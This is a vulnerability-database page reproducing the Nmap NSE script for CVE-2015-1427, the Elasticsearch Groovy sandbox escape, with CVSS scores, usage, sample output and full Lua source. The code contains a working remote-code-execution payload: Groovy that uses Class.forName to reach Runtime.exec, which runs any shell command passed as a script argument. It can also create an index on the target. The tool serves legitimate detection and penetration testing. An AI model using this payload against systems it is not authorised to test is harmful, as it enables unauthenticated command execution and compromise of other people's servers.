Lucene search

K
nmapGyanendra Mishra, Daniel MillerNMAP:HTTP-VULN-CVE2015-1427.NSE
HistoryMay 21, 2015 - 10:02 a.m.

http-vuln-cve2015-1427 NSE Script

2015-05-2110:02:56
Gyanendra Mishra, Daniel Miller
nmap.org
656

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers to leverage features of this API to gain unauthenticated remote code execution (RCE).

Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine. The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.

Script Arguments

command

Enter the shell comannd to be executed. The script outputs the Java and Elasticsearch versions by default.

invasive

If set to true then it creates an index if there are no indices.

slaxml.debug

See the documentation for the slaxml library.

http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent

See the documentation for the http library.

vulns.short, vulns.showall

See the documentation for the vulns library.

smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername

See the documentation for the smbauth library.

Example Usage

nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>

Script Output

| http-vuln-cve2015-1427:
|   VULNERABLE:
|   ElasticSearch CVE-2015-1427 RCE Exploit
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2015-1427
|     Risk factor: High  CVSS2: 7.5
|       The vulnerability allows an attacker to construct Groovy
|           scripts that escape the sandbox and execute shell commands as the user
|           running the Elasticsearch Java VM.
|     Exploit results:
|       ElasticSearch version: 1.3.7
|       Java version: 1.8.0_45
|     References:
|       http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
|       https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
|       https://github.com/elastic/elasticsearch/issues/9655
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427

Requires


local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local json = require "json"
local nmap = require "nmap"
local rand = require "rand"

description = [[
This script attempts to detect a vulnerability, CVE-2015-1427, which  allows attackers
 to leverage features of this API to gain unauthenticated remote code execution (RCE).

 Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
 The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
 commands as the user running the Elasticsearch Java VM.
 ]]

---
-- @args command Enter the shell comannd to be executed. The script outputs the Java
-- and Elasticsearch versions by default.
-- @args invasive If set to true then it creates an index if there are no indices.
--
-- @usage
-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
--
--@output
-- | http-vuln-cve2015-1427:
-- |   VULNERABLE:
-- |   ElasticSearch CVE-2015-1427 RCE Exploit
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2015-1427
-- |     Risk factor: High  CVSS2: 7.5
-- |       The vulnerability allows an attacker to construct Groovy
-- |           scripts that escape the sandbox and execute shell commands as the user
-- |           running the Elasticsearch Java VM.
-- |     Exploit results:
-- |       ElasticSearch version: 1.3.7
-- |       Java version: 1.8.0_45
-- |     References:
-- |       http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
-- |       https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
-- |       https://github.com/elastic/elasticsearch/issues/9655
-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427

author = {"Gyanendra Mishra", "Daniel Miller"}

license = "Same as Nmap--See https://nmap.org/book/man-legal.html"

categories = {"vuln", "intrusive"}

portrule = shortport.port_or_service(9200, "http", "tcp")


local function parseResult(parsed)
  -- for commands that return printable results
  if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
    return parsed.hits.hits[1].fields.exploit[1]
  end
  -- mkdir(etc) command seems to work but as it returns no result
  if parsed.hits.total > 0 then
    return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
  end
  return false
end

action = function(host, port)

  local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
  local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")

  local payload = {
    size= 1,
    query= {
      match_all= {}
    },
    script_fields= {
      exploit= {
        lang= "groovy",
        -- This proves vulnerability because the fix was to prevent access to
        -- .class and .forName
        script= '"ElasticSearch version: "+\z
        java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
        "\\n    Java version: "+\z
        java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
      }
    }
  }
  if command then
    payload.script_fields.exploit.script = string.format(
      'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
      java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
      java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
      %s).getInputStream()).useDelimiter("highlyunusualstring").next()',
      json.generate(command))
  end

  local json_payload = json.generate(payload)

  local vuln_table = {
    title = "ElasticSearch CVE-2015-1427 RCE Exploit",
    state = vulns.STATE.NOT_VULN,
    risk_factor = "High",
    references = {
      'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
      'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
      'https://github.com/elastic/elasticsearch/issues/9655'
    },
    IDS = {
      CVE = 'CVE-2015-1427'
    },
    scores = {
      CVSS2 =  '7.5'
    },
    description = [[The vulnerability allows an attacker to construct Groovy
    scripts that escape the sandbox and execute shell commands as the user
    running the Elasticsearch Java VM.]]
  }

  local report = vulns.Report:new(SCRIPT_NAME, host, port)

  local cleanup = function() return end
  local nocache = {no_cache=true, bypass_cache=true}
  --lets check the elastic search version.
  local response = http.get(host, port, '/')
  if response.status == 200 and response.body then
    local status, parsed = json.parse(response.body)
    if not(status) then
      stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
      return nil
    else
      if parsed.version.number then
          --check if a vulnerable version is running
          if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
            vuln_table.state = vulns.STATE.LIKELY_VULN
          end
          --help the version/service detection.
          port.version = {
            name = 'elasticsearch',
            name_confidence = 10,
            product = 'Elastic elasticsearch',
            version = tostring(parsed.version.number),
            service_tunnel = 'none',
            cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
          }
          nmap.set_port_version(host,port,'hardmatched')
      else
        stdnse.debug1('Cant Be Elastic search as no version number present.')
        return nil
      end
    end
  else
    stdnse.debug1('Not Running Elastic Search.')
    return nil
  end

  -- check if it is indexed, if not create index
  response = http.get(host,port,'_cat/indices', nocache)
  if response.status ~= 200 then
    stdnse.debug1( "Couldnt fetch indices.")
    return report:make_output(vuln_table)
  elseif response.body == '' then
    if invasive then
      local rand = rand.random_alpha(8)
      cleanup = function()
        local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
        if r.status ~= 200 or not r.body:match('"acknowledged":true') then
          stdnse.debug1( "Could not delete index created by invasive script-arg")
        end
      end
      local data = { [rand] = rand }
      stdnse.debug1("Creating Index. 5 seconds wait.")
      response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
      if not(response.status == 201) then
        stdnse.debug1( "Didnt have any index. Creating index failed.")
        return report:make_output(vuln_table)
      end
      stdnse.sleep(5) -- search will not return results immediately
    else
      stdnse.debug1("Not Indexed. Try the invasive option ;)")
      return report:make_output(vuln_table)
    end
  end

  --execute the command

  local target = '_search'
  response = http.post(host, port, target ,nil ,nil ,(json_payload))

  if not(response.body) or not(response.status==200) then
    cleanup()
    return report:make_output(vuln_table)
  else
    local status,parsed = json.parse(response.body)
    if ( not(status) ) then
      stdnse.debug1("JSON not parsable.")
      cleanup()
      return report:make_output(vuln_table)
    end
    --if the parseResult function returns something then lets go ahead
    local results = parseResult(parsed)
    if results then
      vuln_table.state = vulns.STATE.EXPLOIT
      vuln_table.exploit_results = results
    end
  end

  cleanup()
  return report:make_output(vuln_table)
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.8%

Related for NMAP:HTTP-VULN-CVE2015-1427.NSE